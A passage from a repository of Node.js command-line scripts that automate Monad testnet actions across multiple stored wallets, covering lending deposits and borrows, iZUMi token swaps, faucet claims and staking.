31 | ], 32 | outputs: [{ name: "", type: "bool" }] 33 | }, 34 | { 35 | type: "function", 36 | name: "allowance", 37 | stateMutability: "view", 38 | inputs: [ 39 | { name: "owner", type: "address" }, 40 | { name: "spender", type: "address" } 41 | ], 42 | outputs: [{ name: "", type: "uint256" }] 43 | } 44 | ]; 45 | 46 | const STANDARD_PROTOCOL_ABI = ABI.STANDARD_PROTOCOL_ABI; 47 | 48 | const assets = { 49 | WMON: { 50 | tokenAddress: ABI.WMON_CONTRACT, 51 | symbol: "WMON", 52 | lendingManagerAddress: ABI.WMON_LENDING_MANAGER_ADDRESS, 53 | lendingManagerABI: ABI.WMON_LENDING_MANAGER_ABI, 54 | borrowerAddress: ABI.WMON_BORROWER_ADDRESS, 55 | borrowerABI: ABI.WMON_BORROWER_ABI 56 | }, 57 | USDC: { 58 | tokenAddress: ABI.USDC_CONTRACT, 59 | symbol: "USDC", 60 | lendingManagerAddress: ABI.USDC_LENDING_MANAGER_ADDRESS, 61 | lendingManagerABI: ABI.USDC_LENDING_MANAGER_ABI, 62 | borrowerAddress: ABI.USDC_BORROWER_ADDRESS, 63 | borrowerABI: ABI.USDC_BORROWER_ABI 64 | }, 65 | USDT: { 66 | tokenAddress: ABI.USDT_CONTRACT, 67 | symbol: "USDT", 68 | lendingManagerAddress: ABI.USDT_LENDING_MANAGER_ADDRESS, 69 | lendingManagerABI: ABI.USDT_LENDING_MANAGER_ABI, 70 | borrowerAddress: ABI.USDT_BORROWER_ADDRESS, 71 | borrowerABI: ABI.USDT_BORROWER_ABI 72 | } 73 | }; 74 | 75 | async function selectWallets() { 76 | const { walletScope } = await inquirer.prompt([ 77 | { 78 | type: "list", 79 | name: "walletScope", 80 | message: "On which wallets would you like to operate?", 81 | choices: [ 82 | { name: "All of them", value: "all" }, 83 | { name: "Specific ID", value: "specific" } 84 | ] 85 | } 86 | ]); 87 | if (walletScope === "all") return wallets; 88 | const { walletId } = await inquirer.prompt([ 89 | { 90 | type: "input", 91 | name: "walletId", 92 | message: "Please insert the ID of the wallet to be used:", 93 | validate: (value) => { 94 | const num = parseInt(value); 95 | return num > 0 && num <= wallets.length 96 | ? true 97 | : `Enter a valid wallet ID (1 - ${wallets.length})`; 98 | } 99 | } 100 | ]); 101 | return wallets.filter(w => w.id === parseInt(walletId)); 102 | } 103 | 104 | async function selectAsset() { 105 | const { asset } = await inquirer.prompt([ 106 | { 107 | type: "list", 108 | name: "asset", 109 | message: "Select an asset:", 110 | choices: [ 111 | { name: "WMON", value: "WMON" }, 112 | { name: "USDC", value: "USDC" }, 113 | { name: "USDT", value: "USDT" } 114 | ] 115 | } 116 | ]); 117 | return assets[asset]; 118 | } 119 | 120 | async function depositAssets(selectedWallets, assetInfo) { 121 | const tokenContract = new ethers.Contract(assetInfo.tokenAddress, STANDARD_ERC20_ABI, provider); 122 | const lmContract = new ethers.Contract(assetInfo.lendingManagerAddress, assetInfo.lendingManagerABI, provider); 123 | for (const w of selectedWallets) { 124 | const walletSigner = new ethers.Wallet(w.privateKey, provider); 125 | const tokenWithSigner = tokenContract.connect(walletSigner); 126 | const lmWithSigner = lmContract.connect(walletSigner); 127 | const balance = await tokenWithSigner.balanceOf(w.address); 128 | const balanceEth = parseFloat(ethers.utils.formatEther(balance)); 129 | console.log(chalk.green(`Wallet Selected is - [${w.address}]`)); 130 | console.log(chalk.green(`[${assetInfo.symbol}]: ${balanceEth.toFixed(6)}`)); 131 | const { depositAmount } = await inquirer.prompt([ 132 | { 133 | type: "input", 134 | name: "depositAmount", 135 | message: "Enter the amount to deposit:", 136 | validate: (value) => { 137 | const num = parseFloat(value); 138 | return num > 0 && num <= balanceEth ? true : `Enter a number between 0 and ${balanceEth.toFixed(6)}`; 139 | } 140 | } 141 | ]); 142 | const amountWei = ethers.utils.parseEther(depositAmount); 143 | const currentAllowance = await tokenWithSigner.allowance(w.address, assetInfo.lendingManagerAddress); 144 | if (currentAllowance.lt(amountWei)) { 145 | console.log(chalk.green(`Approving [${assetInfo.symbol}] to be used`)); 146 | const approveTx = await tokenWithSigner.approve(assetInfo.lendingManagerAddress, ethers.constants.MaxUint256); 147 | await approveTx.wait(); 148 | console.log(chalk.green(`[${assetInfo.symbol}] is now approved to be used`)); 149 | } 150 | const tx = await lmWithSigner.deposit(w.address, amountWei); 151 | console.log(chalk.magenta(`Deposit Tx sent! [${TX_EXPLORER}${tx.hash}]`)); 152 | const receipt = await tx.wait(); 153 | if (receipt.status === 1) { 154 | console.log(chalk.green(`Confirmed in block - [${receipt.blockNumber}]`)); 155 | } else { 156 | console.log(chalk.red("Transaction reverted.")); 157 | } 158 | } 159 | } 160 | 161 | async function withdrawAssets(selectedWallets, assetInfo) { 162 | // Se usa CDP_MANAGER para consultar posiciones 163 | const protocolContract = new ethers.Contract(CDP_MANAGER, STANDARD_PROTOCOL_ABI, provider); 164 | const lmContract = new ethers.Contract(assetInfo.lendingManagerAddress, assetInfo.lendingManagerABI, provider); 165 | for (const w of selectedWallets) { 166 | const walletSigner = new ethers.Wallet(w.privateKey, provider); 167 | const lmWithSigner = lmContract.connect(walletSigner); 168 | const accountData = await protocolContract.getUserAccountData(w.address); 169 | const collateral = accountData.adjustedTotalCollateral; 170 | console.log(chalk.green(`Wallet Selected is - [${w.address}]`)); 171 | console.log(chalk.green(`[${assetInfo.symbol}] Collateral: ${parseFloat(ethers.utils.formatEther(collateral)).toFixed(6)}`)); 172 | const tx = await lmWithSigner.withdraw(w.address, w.address, collateral); 173 | console.log(chalk.magenta(`Withdraw Tx sent! [${TX_EXPLORER}${tx.hash}]`)); 174 | const receipt = await tx.wait(); 175 | if (receipt.status === 1) { 176 | console.log(chalk.green(`Confirmed in block - [${receipt.blockNumber}]`)); 177 | } else { 178 | console.log(chalk.red("Transaction reverted.")); 179 | } 180 | } 181 | } 182 | 183 | async function borrowAssets(selectedWallets, assetInfo) { 184 | const borrowerContract = new ethers.Contract(assetInfo.borrowerAddress, assetInfo.borrowerABI, provider); 185 | for (const w of selectedWallets) { 186 | const walletSigner = new ethers.Wallet(w.privateKey, provider); 187 | const borrowerWithSigner = borrowerContract.connect(walletSigner); 188 | console.log(chalk.green(`Wallet Selected is - [${w.address}]`)); 189 | const { borrowAmount } = await inquirer.prompt([ 190 | { 191 | type: "input", 192 | name: "borrowAmount", 193 | message: "Enter the amount to borrow:", 194 | validate: (value) => parseFloat(value) > 0 ? true : "Amount must be > 0" 195 | } 196 | ]); 197 | const amountWei = ethers.utils.parseEther(borrowAmount); 198 | const tx = await borrowerWithSigner.borrow(w.address, amountWei); 199 | console.log(chalk.magenta(`Borrow Tx sent! [${TX_EXPLORER}${tx.hash}]`)); 200 | const receipt = await tx.wait(); 201 | if (receipt.status === 1) { 202 | console.log(chalk.green(`Confirmed in block - [${receipt.blockNumber}]`)); 203 | } else { 204 | console.log(chalk.red("Transaction reverted.")); 205 | } 206 | } 207 | } 208 | 209 | async function repayAssets(selectedWallets, assetInfo) { 210 | const borrowerContract = new ethers.Contract(assetInfo.borrowerAddress, assetInfo.borrowerABI, provider); 211 | // Se usa CDP_MANAGER para consultar la deuda actual 212 | const protocolContract = new ethers.Contract(CDP_MANAGER, STANDARD_PROTOCOL_ABI, provider); 213 | for (const w of selectedWallets) { 214 | const walletSigner = new ethers.Wallet(w.privateKey, provider); 215 | const borrowerWithSigner = borrowerContract.connect(walletSigner); 216 | const accountData = await protocolContract.getUserAccountData(w.address); 217 | const debt = accountData.adjustedTotalDebt; 218 | console.log(chalk.green(`Wallet Selected is - [${w.address}]`)); 219 | console.log(chalk.green(`[${assetInfo.symbol}] Debt: ${parseFloat(ethers.utils.formatEther(debt)).toFixed(6)}`)); 220 | const { repayAmount } = await inquirer.prompt([ 221 | { 222 | type: "input", 223 | name: "repayAmount", 224 | message: "Enter the amount to repay:", 225 | validate: (value) => { 226 | const num = parseFloat(value); 227 | const debtEth = parseFloat(ethers.utils.formatEther(debt)); 228 | return num > 0 && num <= debtEth 229 | ? true 230 | : `Enter a number between 0 and ${debtEth.toFixed(6)}`; 231 | } 232 | } 233 | ]); 234 | const amountWei = ethers.utils.parseEther(repayAmount); 235 | const tx = await borrowerWithSigner.repay(w.address, amountWei); 236 | console.log(chalk.magenta(`Repay Tx sent! [${TX_EXPLORER}${tx.hash}]`)); 237 | const receipt = await tx.wait(); 238 | if (receipt.status === 1) { 239 | console.log(chalk.green(`Confirmed in block - [${receipt.blockNumber}]`)); 240 | } else { 241 | console.log(chalk.red("Transaction reverted.")); 242 | } 243 | } 244 | } 245 | 246 | async function mainMenu() { 247 | clear(); 248 | console.log(chalk.magenta("🌟 NostraFinance Lending Menu")); 249 | const { operation } = await inquirer.prompt([ 250 | { 251 | type: "list", 252 | name: "operation", 253 | message: "Select an operation:", 254 | choices: [ 255 | { name: "Deposit Assets", value: "deposit" }, 256 | { name: "Withdraw Assets", value: "withdraw" }, 257 | { name: "Borrow Assets", value: "borrow" }, 258 | { name: "Repay Assets", value: "repay" } 259 | ] 260 | } 261 | ]); 262 | const selectedWallets = await selectWallets(); 263 | const assetInfo = await selectAsset(); 264 | 265 | switch (operation) { 266 | case "deposit": 267 | await depositAssets(selectedWallets, assetInfo); 268 | break; 269 | case "withdraw": 270 | await withdrawAssets(selectedWallets, assetInfo); 271 | break; 272 | case "borrow": 273 | await borrowAssets(selectedWallets, assetInfo); 274 | break; 275 | case "repay": 276 | await repayAssets(selectedWallets, assetInfo); 277 | break; 278 | default: 279 | break; 280 | } 281 | await inquirer.prompt([{ type: "input", name: "pause", message: "Press ENTER to return to main menu..." }]); 282 | mainMenu(); 283 | } 284 | 285 | mainMenu().catch(err => { 286 | console.error(chalk.red(err)); 287 | }); 288 | -------------------------------------------------------------------------------- /actions/IzumiFinance/swap.js: -------------------------------------------------------------------------------- 1 | // MonadTestnet/actions/IzumiFinance/swap.js 2 | const fs = require('fs'); 3 | const inquirer = require('inquirer'); 4 | const { ethers } = require('ethers'); 5 | const colors = require('colors'); 6 | const { iZiSwapRouterABI, izumiQuoterABI } = require('./ABI.js'); 7 | const { RPC_URL, CHAIN_ID, SYMBOL, TX_EXPLORER, WMON_ADDRESS } = require('../../utils/chain.js'); 8 | const walletsData = require('../../utils/wallets.json'); 9 | const ROUTER_CONTRACT = "0xf6ffe4f3fdc8bbb7f70ffd48e61f17d1e343ddfd"; 10 | const QUOTER_ADDRESS = "0x95c5F14106ab4d1dc0cFC9326225287c18c2d247"; 11 | const tokensList = [ 12 | { symbol: SYMBOL, address: 'NATIVE', decimals: 18 }, 13 | { symbol: 'WMON', address: WMON_ADDRESS, decimals: 18 }, 14 | { symbol: 'USDT', address: '0x6a7436775c0d0B70cfF4c5365404ec37c9d9aF4b', decimals: 6 }, 15 | { symbol: 'OTHER', address: 'OTHER', decimals: 18 } 16 | ]; 17 | async function getTokenInfo(address) { 18 | const erc20ABI = [ 19 | "function name() view returns (string)", 20 | "function symbol() view returns (string)", 21 | "function decimals() view returns (uint8)" 22 | ]; 23 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 24 | const tokenContract = new ethers.Contract(address, erc20ABI, provider); 25 | const symbol = await tokenContract.symbol(); 26 | const decimals = await tokenContract.decimals(); 27 | return { symbol, decimals }; 28 | } 29 | async function ensureApproval(tokenContract, spender, signer, amount) { 30 | const allowance = await tokenContract.allowance(await signer.getAddress(), spender); 31 | if (allowance.lt(amount)) { 32 | console.log(colors.blue("ℹ️ Approving token...")); 33 | const tx = await tokenContract.approve(spender, ethers.constants.MaxUint256); 34 | console.log(colors.blue("ℹ️ Approve Tx sent: " + TX_EXPLORER + tx.hash)); 35 | const receipt = await tx.wait(); 36 | console.log(colors.green("✅ Approve confirmed in block #" + receipt.blockNumber)); 37 | } 38 | } 39 | async function getBalance(token, walletAddress, provider) { 40 | if (token.address === 'NATIVE') { 41 | return provider.getBalance(walletAddress); 42 | } else { 43 | const erc20ABI = [ 44 | "function balanceOf(address) view returns (uint256)", 45 | "function decimals() view returns (uint8)" 46 | ]; 47 | const contract = new ethers.Contract(token.address, erc20ABI, provider); 48 | return contract.balanceOf(walletAddress); 49 | } 50 | } 51 | function getRandomGasLimit() { 52 | const min = 250000, max = 375000; 53 | return Math.floor(Math.random() * (max - min + 1)) + min; 54 | } 55 | async function getQuote(amountIn, path) { 56 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 57 | const quoter = new ethers.Contract(QUOTER_ADDRESS, izumiQuoterABI, provider); 58 | const result = await quoter.callStatic.swapDesire(amountIn, path); 59 | return result[0]; 60 | } 61 | async function swapRoutine(signer, tokenA, tokenB, amountIn, slippagePercent) { 62 | console.log(colors.blue("ℹ️ Swapping - [" + tokenA.symbol + "/" + tokenB.symbol + "]")); 63 | let usedTokenAAddress = tokenA.address; 64 | let valueToSend = ethers.BigNumber.from('0'); 65 | if (tokenA.address === 'NATIVE') { 66 | usedTokenAAddress = WMON_ADDRESS; 67 | valueToSend = amountIn; 68 | } else { 69 | const erc20ABI = [ 70 | "function allowance(address,address) view returns (uint256)", 71 | "function approve(address,uint256) returns (bool)" 72 | ]; 73 | const tokenContract = new ethers.Contract(tokenA.address, erc20ABI, signer); 74 | await ensureApproval(tokenContract, ROUTER_CONTRACT, signer, amountIn); 75 | } 76 | const deadline = Math.floor(Date.now() / 1000) + 6 * 3600; 77 | const maxPayed = amountIn; 78 | let path; 79 | if (tokenA.address === 'NATIVE') { 80 | path = ethers.utils.solidityPack(["address", "address"], [WMON_ADDRESS, tokenB.address]); 81 | } else { 82 | path = ethers.utils.solidityPack(["address", "address"], [tokenA.address, tokenB.address]); 83 | } 84 | const desireQuoted = await getQuote(amountIn, path); 85 | const iface = new ethers.utils.Interface(iZiSwapRouterABI); 86 | const dataSwap = iface.encodeFunctionData("swapDesire", [{ 87 | path: path, 88 | recipient: await signer.getAddress(), 89 | desire: desireQuoted, 90 | maxPayed: maxPayed, 91 | deadline: deadline 92 | }]); 93 | const dataRefund = iface.encodeFunctionData("refundETH"); 94 | const routerContract = new ethers.Contract(ROUTER_CONTRACT, iZiSwapRouterABI, signer); 95 | const gasLimit = getRandomGasLimit(); 96 | const feeData = await signer.provider.getFeeData(); 97 | const maxFeePerGas = feeData.maxFeePerGas.mul(105).div(100); 98 | const maxPriorityFeePerGas = feeData.maxPriorityFeePerGas.mul(105).div(100); 99 | try { 100 | const tx = await routerContract.multicall( 101 | [dataSwap, dataRefund], 102 | { value: valueToSend, gasLimit, maxFeePerGas, maxPriorityFeePerGas } 103 | ); 104 | console.log(colors.blue("ℹ️ Tx Swap Sent! - " + TX_EXPLORER + tx.hash)); 105 | const receipt = await tx.wait(); 106 | console.log(colors.green("✅ Tx Confirmed in block #" + receipt.blockNumber)); 107 | const addr = await signer.getAddress(); 108 | const balA = await getBalance(tokenA, addr, signer.provider); 109 | const balB = await getBalance(tokenB, addr, signer.provider); 110 | console.log(colors.magenta("✅ " + tokenA.symbol + " Balance: " + ethers.utils.formatUnits(balA, tokenA.decimals))); 111 | console.log(colors.magenta("✅ " + tokenB.symbol + " Balance: " + ethers.utils.formatUnits(balB, tokenB.decimals))); 112 | } catch (err) { 113 | if (err.message && err.message.includes("CALL_EXCEPTION")) { 114 | console.error(colors.red("❌ CALL_EXCEPTION: Transaction failed.")); 115 | } else { 116 | console.error(colors.red("❌ Error in swap script:"), err); 117 | } 118 | } 119 | } 120 | async function main() { 121 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 122 | const { walletChoice } = await inquirer.prompt([ 123 | { 124 | type: 'list', 125 | name: 'walletChoice', 126 | message: 'On which wallets would you like to perform swaps?', 127 | choices: [ 128 | { name: '1. All of them', value: 'all' }, 129 | { name: '2. Specific IDs', value: 'specific' }, 130 | { name: 'Exit', value: 'exit' } 131 | ] 132 | } 133 | ]); 134 | if (walletChoice === 'exit') { console.log(colors.red("❌ Exiting...")); return; } 135 | let chosenWallets = []; 136 | if (walletChoice === 'all') { 137 | chosenWallets = walletsData; 138 | } else if (walletChoice === 'specific') { 139 | const { walletID } = await inquirer.prompt([ 140 | { 141 | type: 'input', 142 | name: 'walletID', 143 | message: 'Enter the wallet ID to use:', 144 | validate: (val) => (walletsData.find(w => w.id.toString() === val)) ? true : 'Invalid wallet ID' 145 | } 146 | ]); 147 | chosenWallets = walletsData.filter(w => w.id.toString() === walletID); 148 | } 149 | for (const w of chosenWallets) { 150 | const signer = new ethers.Wallet(w.privateKey, provider); 151 | console.log(colors.blue("ℹ️ Wallet Selected - [" + w.address + "]")); 152 | let tokenA, tokenB; 153 | const { fromTokenChoice } = await inquirer.prompt([ 154 | { 155 | type: 'list', 156 | name: 'fromTokenChoice', 157 | message: 'What token would you like to give (sell)?', 158 | choices: tokensList.map(t => (t.symbol === 'OTHER') ? { name: 'Other', value: 'other' } : { name: t.symbol, value: t.symbol }) 159 | } 160 | ]); 161 | if (fromTokenChoice === 'other') { 162 | const { tokenAddress } = await inquirer.prompt([ 163 | { type: 'input', name: 'tokenAddress', message: 'Enter the token contract address:' } 164 | ]); 165 | const info = await getTokenInfo(tokenAddress); 166 | tokenA = { symbol: info.symbol, address: tokenAddress, decimals: info.decimals }; 167 | } else { 168 | tokenA = tokensList.find(t => t.symbol === fromTokenChoice); 169 | } 170 | const { toTokenChoice } = await inquirer.prompt([ 171 | { 172 | type: 'list', 173 | name: 'toTokenChoice', 174 | message: 'What token would you like to get (buy)?', 175 | choices: tokensList.filter(t => t.symbol !== tokenA.symbol).map(t => (t.symbol === 'OTHER') ? { name: 'Other', value: 'other' } : { name: t.symbol, value: t.symbol }) 176 | } 177 | ]); 178 | if (toTokenChoice === 'other') { 179 | const { tokenAddress } = await inquirer.prompt([ 180 | { type: 'input', name: 'tokenAddress', message: 'Enter the token contract address:' } 181 | ]); 182 | const info = await getTokenInfo(tokenAddress); 183 | tokenB = { symbol: info.symbol, address: tokenAddress, decimals: info.decimals }; 184 | } else { 185 | tokenB = tokensList.find(t => t.symbol === toTokenChoice); 186 | } 187 | const balA = await getBalance(tokenA, w.address, provider); 188 | const balB = await getBalance(tokenB, w.address, provider); 189 | console.log(colors.magenta("✅ " + tokenA.symbol + " Balance: " + ethers.utils.formatUnits(balA, tokenA.decimals))); 190 | console.log(colors.magenta("✅ " + tokenB.symbol + " Balance: " + ethers.utils.formatUnits(balB, tokenB.decimals))); 191 | const { amountInStr } = await inquirer.prompt([ 192 | { 193 | type: 'input', 194 | name: 'amountInStr', 195 | message: "How many " + tokenA.symbol + " do you want to swap?", 196 | validate: (val) => (!isNaN(val) && Number(val) > 0) ? true : 'Please enter a positive number.' 197 | } 198 | ]); 199 | const amountIn = ethers.utils.parseUnits(amountInStr, tokenA.decimals); 200 | const { slippageStr } = await inquirer.prompt([ 201 | { 202 | type: 'input', 203 | name: 'slippageStr', 204 | message: 'Set slippage % (e.g. 1, 2, 3...)', 205 | default: '1', 206 | validate: (val) => (!isNaN(val) && Number(val) >= 0) ? true : 'Please enter a valid number.' 207 | } 208 | ]); 209 | const slippagePercent = parseFloat(slippageStr); 210 | await swapRoutine(signer, tokenA, tokenB, amountIn, slippagePercent); 211 | } 212 | const { repeat } = await inquirer.prompt([ 213 | { 214 | type: 'confirm', 215 | name: 'repeat', 216 | message: 'Do you want to perform another swap?', 217 | default: false 218 | } 219 | ]); 220 | if (repeat) { 221 | const { reuseWallets } = await inquirer.prompt([ 222 | { 223 | type: 'confirm', 224 | name: 'reuseWallets', 225 | message: 'Use the same wallet selection again?', 226 | default: true 227 | } 228 | ]); 229 | if (!reuseWallets) { 230 | const { walletChoice } = await inquirer.prompt([ 231 | { 232 | type: 'list', 233 | name: 'walletChoice', 234 | message: 'On which wallets would you like to perform swaps now?', 235 | choices: [ 236 | { name: '1. All of them', value: 'all' }, 237 | { name: '2. Specific IDs', value: 'specific' }, 238 | { name: 'Exit', value: 'exit' } 239 | ] 240 | } 241 | ]); 242 | if (walletChoice === 'exit') { return; } 243 | if (walletChoice === 'all') { main(); } 244 | else { 245 | const { walletID } = await inquirer.prompt([ 246 | { 247 | type: 'input', 248 | name: 'walletID', 249 | message: 'Enter the wallet ID to use:', 250 | validate: (val) => (walletsData.find(w => w.id.toString() === val)) ? true : 'Invalid wallet ID' 251 | } 252 | ]); 253 | main(); 254 | } 255 | } else { 256 | main(); 257 | } 258 | } else { 259 | console.log(colors.green("✅ Done with all swaps!")); 260 | } 261 | } 262 | if (require.main === module) { 263 | main().catch((err) => { 264 | console.error(colors.red("❌ Error in swap script:"), err); 265 | }); 266 | } 267 | module.exports = { main }; 268 | -------------------------------------------------------------------------------- /actions/Multipli/index.js: -------------------------------------------------------------------------------- 1 | const inquirer = require('inquirer'); 2 | const ethers = require('ethers'); 3 | const colors = require('colors'); 4 | const fs = require('fs'); 5 | const path = require('path'); 6 | const abiData = require('./ABI.js'); 7 | 8 | const chain = require('../../utils/chain'); 9 | 10 | // Utility: sleep for ms milliseconds 11 | function sleep(ms) { 12 | return new Promise(resolve => setTimeout(resolve, ms)); 13 | } 14 | 15 | // Utility: random integer between min and max (inclusive) 16 | function randomInt(min, max) { 17 | return Math.floor(Math.random() * (max - min + 1)) + min; 18 | } 19 | 20 | // Create ethers provider using chain RPC URL 21 | const provider = new ethers.providers.JsonRpcProvider(chain.RPC_URL); 22 | 23 | async function main() { 24 | const { option } = await inquirer.prompt([ 25 | { 26 | type: 'list', 27 | name: 'option', 28 | message: 'Select an option:', 29 | choices: [ 30 | { name: '1. Claim Testnet Tokens', value: 'claim' }, 31 | { name: '2. Stake Assets', value: 'stake' }, 32 | { name: '0. Exit', value: 'exit' } 33 | ] 34 | } 35 | ]); 36 | 37 | if (option === 'exit') { 38 | console.log("🚪 Exiting Multipli...".green); 39 | process.exit(0); 40 | } 41 | 42 | // Prompt for wallet selection 43 | const { walletChoice } = await inquirer.prompt([ 44 | { 45 | type: 'list', 46 | name: 'walletChoice', 47 | message: 'On which wallets would you like to perform this action?', 48 | choices: [ 49 | { name: 'All wallets', value: 'all' }, 50 | { name: 'Specific IDs', value: 'specific' } 51 | ] 52 | } 53 | ]); 54 | 55 | // Load wallets from utils/wallets.json 56 | const walletsPath = path.resolve(__dirname, '../../utils/wallets.json'); 57 | let wallets = []; 58 | try { 59 | wallets = JSON.parse(fs.readFileSync(walletsPath, 'utf8')); 60 | } catch (err) { 61 | console.error("❌ Error reading wallets.json".red, err); 62 | process.exit(1); 63 | } 64 | let selectedWallets = []; 65 | if (walletChoice === 'all') { 66 | selectedWallets = wallets; 67 | } else { 68 | const { walletIDs } = await inquirer.prompt([ 69 | { 70 | type: 'input', 71 | name: 'walletIDs', 72 | message: 'Enter wallet IDs separated by spaces (e.g., 1 3 5):' 73 | } 74 | ]); 75 | const ids = walletIDs 76 | .trim() 77 | .split(/\s+/) 78 | .map(id => parseInt(id)) 79 | .filter(id => !isNaN(id)); 80 | selectedWallets = wallets.filter(w => ids.includes(w.id)); 81 | } 82 | if (selectedWallets.length === 0) { 83 | console.log("⚠️ No wallets selected.".yellow); 84 | process.exit(0); 85 | } 86 | 87 | if (option === 'claim') { 88 | // Option 1: Claim Testnet Tokens – claim both tokens in random order per wallet 89 | const tokens = [abiData.USDC_CONTRACT, abiData.USDT_CONTRACT]; 90 | for (const walletInfo of selectedWallets) { 91 | console.log(`\n🔔 Processing wallet: [${walletInfo.address}]`.green); 92 | const wallet = new ethers.Wallet(walletInfo.privateKey, provider); 93 | const faucetContract = new ethers.Contract( 94 | abiData.FAUCET_CONTRACT, 95 | abiData.FAUCET_ABI, 96 | wallet 97 | ); 98 | // Randomize order of tokens for this wallet 99 | const shuffledTokens = [...tokens].sort(() => Math.random() - 0.5); 100 | for (const tokenChoice of shuffledTokens) { 101 | // Determine token ticket based on contract address 102 | let tokenTicket; 103 | if (tokenChoice.toLowerCase() === abiData.USDC_CONTRACT.toLowerCase()) { 104 | tokenTicket = "USDC"; 105 | } else if (tokenChoice.toLowerCase() === abiData.USDT_CONTRACT.toLowerCase()) { 106 | tokenTicket = "USDT"; 107 | } else { 108 | tokenTicket = tokenChoice; 109 | } 110 | console.log(`💰 Wallet [${walletInfo.address}] is claiming token: ${tokenTicket}`.green); 111 | 112 | // Prepare gas settings 113 | const block = await provider.getBlock('latest'); 114 | const baseFee = block.baseFeePerGas || ethers.BigNumber.from(0); 115 | const maxFeePerGas = baseFee.mul(115).div(100); 116 | const maxPriorityFeePerGas = baseFee.mul(115).div(100); 117 | const gasLimit = randomInt(100000, 250000); 118 | try { 119 | const tx = await faucetContract.claimToken(tokenChoice, { 120 | gasLimit, 121 | maxFeePerGas, 122 | maxPriorityFeePerGas 123 | }); 124 | console.log(`🚀 Claim Tx Sent for token ${tokenTicket}: ${chain.TX_EXPLORER}${tx.hash}`.magenta); 125 | const receipt = await tx.wait(); 126 | console.log(`✅ Claim Tx Confirmed for token ${tokenTicket}: ${chain.TX_EXPLORER}${receipt.transactionHash}`.magenta); 127 | } catch (error) { 128 | if (error.code === "CALL_EXCEPTION" || (error.message && error.message.includes("CALL_EXCEPTION"))) { 129 | console.error(`❌ CALL_EXCEPTION: Transaction failed for wallet [${walletInfo.address}] on token ${tokenTicket}.`.red); 130 | } else if (error.message && error.message.includes("insufficient balance")) { 131 | const balance = await wallet.getBalance(); 132 | console.error(`❌ Wallet [${walletInfo.address}] is out of funds. Balance: ${ethers.utils.formatEther(balance)} ${chain.SYMBOL}`.red); 133 | } else { 134 | console.error(`❌ Error for wallet [${walletInfo.address}] on token ${tokenTicket}: ${error.message}`.red); 135 | } 136 | } 137 | await sleep(2000); // 2-second delay between each token claim 138 | } 139 | await sleep(2000); // 2-second delay between wallets 140 | } 141 | } else if (option === 'stake') { 142 | // Option 2: Stake Assets – stake 100% of the balance for each asset in each wallet 143 | const assets = [abiData.USDC_CONTRACT, abiData.USDT_CONTRACT]; 144 | for (const walletInfo of selectedWallets) { 145 | console.log(`\n💎 Staking assets for wallet - [${walletInfo.address}]`.green); 146 | const wallet = new ethers.Wallet(walletInfo.privateKey, provider); 147 | // Randomize asset order for staking 148 | const shuffledAssets = [...assets].sort(() => Math.random() - 0.5); 149 | for (const tokenAddress of shuffledAssets) { 150 | // Determine token ticket based on contract address 151 | let tokenTicket; 152 | if (tokenAddress.toLowerCase() === abiData.USDC_CONTRACT.toLowerCase()) { 153 | tokenTicket = "USDC"; 154 | } else if (tokenAddress.toLowerCase() === abiData.USDT_CONTRACT.toLowerCase()) { 155 | tokenTicket = "USDT"; 156 | } else { 157 | tokenTicket = tokenAddress; 158 | } 159 | // Get token balance 160 | const tokenContract = new ethers.Contract(tokenAddress, abiData.ERC20_ABI, wallet); 161 | let balance; 162 | try { 163 | balance = await tokenContract.balanceOf(wallet.address); 164 | } catch (err) { 165 | console.error(`❌ Error fetching balance for token ${tokenTicket}: ${err.message}`.red); 166 | continue; 167 | } 168 | if (balance.isZero()) { 169 | console.log(`⚠️ No balance for token ${tokenTicket} in wallet [${walletInfo.address}].`.yellow); 170 | continue; 171 | } 172 | 173 | const formattedBalance = Number(ethers.utils.formatUnits(balance, 6)).toFixed(2); 174 | console.log(`🪙 Staking 100% of balance for token ${tokenTicket} - [${formattedBalance}]`.green); 175 | 176 | if (!abiData.STAKE_CONTRACT || abiData.STAKE_CONTRACT === "") { 177 | console.log("⚠️ Stake contract not configured. Skipping staking for this asset.".yellow); 178 | continue; 179 | } 180 | 181 | // Check allowance for the stake contract 182 | let currentAllowance; 183 | try { 184 | currentAllowance = await tokenContract.allowance(wallet.address, abiData.STAKE_CONTRACT); 185 | } catch (err) { 186 | console.error(`❌ Error checking allowance for token ${tokenTicket}: ${err.message}`.red); 187 | continue; 188 | } 189 | 190 | if (currentAllowance.lt(balance)) { 191 | console.log(`🔑 Approving STAKE_CONTRACT to spend token ${tokenTicket}...`.green); 192 | const blockForApprove = await provider.getBlock('latest'); 193 | const baseFeeApprove = blockForApprove.baseFeePerGas || ethers.BigNumber.from(0); 194 | const maxFeePerGasApprove = baseFeeApprove.mul(115).div(100); 195 | const maxPriorityFeePerGasApprove = baseFeeApprove.mul(115).div(100); 196 | const gasLimitApprove = randomInt(100000, 250000); 197 | try { 198 | const approveTx = await tokenContract.approve(abiData.STAKE_CONTRACT, ethers.constants.MaxUint256, { 199 | gasLimit: gasLimitApprove, 200 | maxFeePerGas: maxFeePerGasApprove, 201 | maxPriorityFeePerGas: maxPriorityFeePerGasApprove 202 | }); 203 | console.log(`🚀 Approval Tx Sent! For - ${tokenTicket}:`.magenta); 204 | const approveReceipt = await approveTx.wait(); 205 | console.log(`✅ ${tokenTicket} Has been aproved to be used`.green); 206 | await sleep(2000); // Wait 2 seconds after approval 207 | } catch (error) { 208 | if (error.code === "CALL_EXCEPTION" || (error.message && error.message.includes("CALL_EXCEPTION"))) { 209 | console.error(`❌ CALL_EXCEPTION: Approval transaction failed for wallet [${walletInfo.address}] on token ${tokenTicket}.`.red); 210 | } else { 211 | console.error(`❌ Error approving token ${tokenTicket} for wallet [${walletInfo.address}]: ${error.message}`.red); 212 | } 213 | continue; // Skip staking for this token if approval fails 214 | } 215 | } 216 | 217 | // Proceed to staking 218 | const stakeContract = new ethers.Contract(abiData.STAKE_CONTRACT, abiData.STAKE_ABI, wallet); 219 | const blockForStake = await provider.getBlock('latest'); 220 | const baseFeeStake = blockForStake.baseFeePerGas || ethers.BigNumber.from(0); 221 | const maxFeePerGasStake = baseFeeStake.mul(115).div(100); 222 | const maxPriorityFeePerGasStake = baseFeeStake.mul(115).div(100); 223 | const gasLimitStake = randomInt(100000, 250000); 224 | try { 225 | const tx = await stakeContract.deposit(tokenAddress, balance, { 226 | gasLimit: gasLimitStake, 227 | maxFeePerGas: maxFeePerGasStake, 228 | maxPriorityFeePerGas: maxPriorityFeePerGasStake 229 | }); 230 | 